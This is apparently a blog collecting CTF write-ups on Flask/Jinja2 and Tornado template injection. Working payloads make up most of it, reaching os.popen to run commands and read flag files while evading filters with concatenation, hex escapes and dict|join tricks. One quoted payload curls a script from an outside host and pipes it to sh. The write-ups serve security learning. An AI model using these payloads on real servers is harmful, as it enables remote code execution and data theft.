文章目录
学习文章
SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙
全部总结看最后一篇
[Flask]SSTI
?name={{().__class__.__base__.__sunclasses__()}}
找到子类
{{().__class__.__bases__[0].__subclasses__()[117]}}
目录下面都没有flag,看下环境变量
?name={{().__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']("env").read()}}
[GWCTF 2019]你的名字
尝试{{7*7}}执行报错
语法错误,尝试{%%}
输出
{% set a="__init"~"__"%}{%print(a)%}
变量拼接
- lipsum
Generates some lorem ipsum for the template. By default, five paragraphs of HTML are generated with each paragraph between 20 and 100 words. If html is False, regular text is returned. This is useful to generate simple contents for layout testing.
生成一些随机字符串
{%print lipsum['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['po'~'pen']("ls")['re'~'ad']() %}
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}
[第三章 web进阶]SSTI
逐步输入发现每一步都没有过滤
{{x.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
环境变量提交了好几次flag居然不对…
翻找一下目录
{{x.__init__.__globals__.__builtins__.__import__('os').popen('cat app/server.py').read()}}
[pasecactf_2019]flask_ssti
测了{{7*7}}
正常,发现__class__
过滤
变量拼接
测试发现下划线、点、单引号过滤
双引号+编码绕过
\x5f\x5fclass\x5f\x5f
#构造__class__
{{()["\x5f\x5fclass\x5f\x5f"]}}
# 找子类
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()}}
第128个
#获取全部变量
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}
# popen命令执行
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}
# 查看app.py
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /app/app*")["read"]()}}
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
看一下config拿出加密的flag,再异或一下即可还原
{{config}}
import random
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag='-M7\x10wI781Rwgr\x0eH\x08hQ(DL\x13_\x17{9\x044\x02^\x17^-\x01/,Fm\x11\x0fNG'
print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))
//flag{856cbe49-732f-4d9a-b2dd-2a68342b570a}
[NewStarCTF 公开赛赛道]BabySSTI_One
测试发现过滤关键字,但是特殊符号中括号、双引号、点都能用
可以考虑拼接或者编码,这里使用拼接
?name={{()["__cla"~"ss__"]}}
找子类
?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()}}
直接命令执行
?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ls")["read"]()}}
环境变量里面没有,还是输出app.py
?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ca"~"t"~" "~"app*")["read"]()}}
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|base|init|mro|flag|cat|more|env', name):
t = Template("Welcome to NewStarCTF, Dear " + name + "Try to GET me a NAME")
return t.render()
else:
t = Template("Get Out!Hacker!")
return t.render()
if __name__ == "__main__":
app.run()
根目录下
?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("tac /fla*")["read"]()}}
[Dest0g3 520迎新赛]EasySSTI
用户名处ssti
burp看一下过滤
红色部分过滤,空格也过滤
学习大佬的博客,进行解读,师傅太强了…
buuctf:Dest0g3 520迎新赛 web EasySSTI-安河桥北2025
username=
{%set%0crdea=dict(re=a,ad=a)|join%} # read
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%} # popen
{%set%0cget=dict(get=a)|join%} # get
{%set%0cso=dict(o=a,s=a)|join%} # os
{%set%0copp=dict(po=a,p=a)|join%} # pop
{%set%0cindex=dict(index=a)|join%} # index
{%set%0cn=dict(n=a)|join%} # 字符n
{%set%0cu=dict(u=a)|join%} # 字符u
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%} # 数字3
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%} # 数字2
{%set%0cone=three-two%} # 数字1
{%set%0cfive=three%2btwo%} # 数字5
{%set%0csix=three*two%} # 数字6
{%set%0cfou=five-one%} # 数字4
{%set%0cnine=three*three%} # 数字9
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%} # 下划线
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%} # globals
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%} # 空格
{%set%0cc=dict(chr=a)|join%} # c=chr函数
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%} # getitem
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%} # 单词builtins
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%} # 对象builtins
{%set%0cshiz=five*nine%} # 数字45
{%set%0cjian=buii|attr(get)(c)(shiz)%} # 符号-
# {{lipsum.__globals__.__builtins__.get("chr")(45)}} # 用chr获取字符
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%} # 符号竖线
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%} # 斜杠
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%} # 反斜杠
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%} # 点.
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%} # 单引号
{%set%0caa=dict(curl=a)|join%} # aa=curl
{%set%0cab=dict(xss=a)|join%} # ab=xss
{%set%0cpt=dict(pt=a)|join%} # pt=pt
{%set%0caaaa=dict(aaaa=a)|join%} # aaaa=aaaa
{%set%0ctr=dict(tr=a)|join%} # tr=tr
{%set%0cd=dict(d=a)|join%} # d=d
{%set%0cr=dict(r=a)|join%} # r=r
{%set%0csh=dict(sh=a)|join%} # sh=sh
{%set%0ccmd=(aa,space,ab,dot,pt,xc,xiangang,aaaa,shuxian,tr,space,jian,d,space,yinghao,fanxian,r,yinghao,shuxian,sh)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}&password=2
思路是,
1. 通过构造数字,
2. 使用过滤器attr获取属性
3. 再通过lipsum获取builtins的内置函数chr
4. chr结合数字即可获取对应字符
5. 最终各个变量拼接命令执行
我就用麻烦一点的方法手动执行命令吧
{%set%0crdea=dict(re=a,ad=a)|join%}
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}
{%set%0cget=dict(get=a)|join%}
{%set%0cso=dict(o=a,s=a)|join%}
{%set%0copp=dict(po=a,p=a)|join%}
{%set%0cindex=dict(index=a)|join%}
{%set%0cn=dict(n=a)|join%}
{%set%0cu=dict(u=a)|join%}
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}
{%set%0cone=three-two%}
{%set%0cfive=three%2btwo%}
{%set%0csix=three*two%}
{%set%0cfou=five-one%}
{%set%0cnine=three*three%}
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}
{%set%0cc=dict(chr=a)|join%}
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}
{%set%0cshiz=five*nine%}
{%set%0cjian=buii|attr(get)(c)(shiz)%}
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}
{%set%0cls=dict(ls=a)|join%}
{%set%0ccmd=(ls)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}
换行替换为空即可
{%set%0crdea=dict(re=a,ad=a)|join%}
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}
{%set%0cget=dict(get=a)|join%}
{%set%0cso=dict(o=a,s=a)|join%}
{%set%0copp=dict(po=a,p=a)|join%}
{%set%0cindex=dict(index=a)|join%}
{%set%0cn=dict(n=a)|join%}
{%set%0cu=dict(u=a)|join%}
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}
{%set%0cone=three-two%}
{%set%0cfive=three%2btwo%}
{%set%0csix=three*two%}
{%set%0cfou=five-one%}
{%set%0cnine=three*three%}
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}
{%set%0cc=dict(chr=a)|join%}
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}
{%set%0cshiz=five*nine%}
{%set%0cjian=buii|attr(get)(c)(shiz)%}
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}
{%set%0ccat=dict(cat=a)|join%}
{%set%0cflag=dict(flag=a)|join%}
{%set%0ccmd=(cat,space,xiangang,flag)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}
[NewStarCTF 公开赛赛道]BabySSTI_Two
burp测一下过滤哪些
过滤了这些内容,可用如下
尝试十六进制编码绕过
?name={{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
查看子类
#{{()['__class__']['__base__']['__subclasses__']()}}
{{()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()}}
直接触发连招吧
name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}
# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls')['read']()}}
flag在根目录下
?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}
# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls /')['read']()}}
?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}
# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('cat /flag_in_h3r3_52daad')['read']()}}
[NewStarCTF 公开赛赛道]BabySSTI_Three
比上一个多过滤一个下划线、base【图里面base502了】
{{(()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117])['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}
?name={{(()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117])['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}
[GYCTF2020]FlaskApp
一个加解密界面,加密输上去直接变base64,试一下解密能不能输{{7*7}}
的base64编码
有检测
试一下编码+中括号
{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}}
{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()}}
编了半天发现不编码也能行…页面不回显有哪些类,记得base64编码payload
页面没有回显时
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}
#先通过for循环根据模块名寻找符合要求的模块
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
#如果找到该模块就进行后续的函数操作
{% endif %}{% endfor %}
# 结束判断结束循环
#文件操作
直接命令执行不大行,看一下app.py源码过滤了什么
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
class NameForm1(FlaskForm):
text = StringField('BASE64解密', validators=[DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request",
"subprocess", "commands", "socket", "hex", "base64", "*", "?"]
for x in black_list:
if x in str.lower():
return 1
关键词过滤,拼接绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'~'ort__']('o'~'s')['po'~'pen']('id').read()}}{% endif %}{% endfor %}
根目录下有flag,读的时候记得绕过flag过滤
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'~'ort__']('o'~'s')['po'~'pen']('cat /this_is_the_fl'~'ag.txt').read()}}{% endif %}{% endfor %}
[CSCCTF 2019 Qual]FlaskLight
之前写了可能不太会,现在看下
get传参search
有反应
这道题''._class__.__base__
不是object类,而是<type 'basestring'>
两次base才是object
''.__class__.__base__.__base__
找子类
{{().__class__.__base__.__subclasses__()}}
没有os,有catch_warnings
但是好像有过滤,怎么输都返回500,看了前辈的博客
要拼接绕过
{{().__class__.__base__.__subclasses__()[59].__init__['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['pop'~'en']('dir').read()}}
flag在flasklight目录下
{{().__class__.__base__.__subclasses__()[59].__init__['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['pop'~'en']('cat /flasklight/coomme_geeeett_youur_flek').read()}}
[护网杯 2018]easy_tornado
render提示这道题是ssti,但是在文件名以及文件hash处进行尝试都报错,发现msg=ERROR,此处进行尝试才发现注入点
burp一跑发现大部分符号都被过滤了…
md5(cookie_secret+md5(filename))
需要找到cookie_secret就知道filehash是什么了,
在 Tornado 中,handler.settings 是一个字典,用于存储应用程序中设置的各种配置项和参数。在 Tornado 中,通常会将一些应用程序的配置信息存储在 settings 字典中,以便在处理请求时可以轻松地访问和使用这些配置。
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.set_cookie("user", "John", expires_days=1)
self.write("Cookie is set.")
def make_app():
settings = {
"cookie_secret": "mysecretkey" # 设置 cookie_secret
}
return tornado.web.Application([
(r"/", MainHandler),
], **settings)
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
cookie_secret放在settings里
bdbb04e0-aa35-4070-83ee-a5320f53da36
得出最终的filehash为88a5e76c8f5f3b15f4fa3219c20c6b2e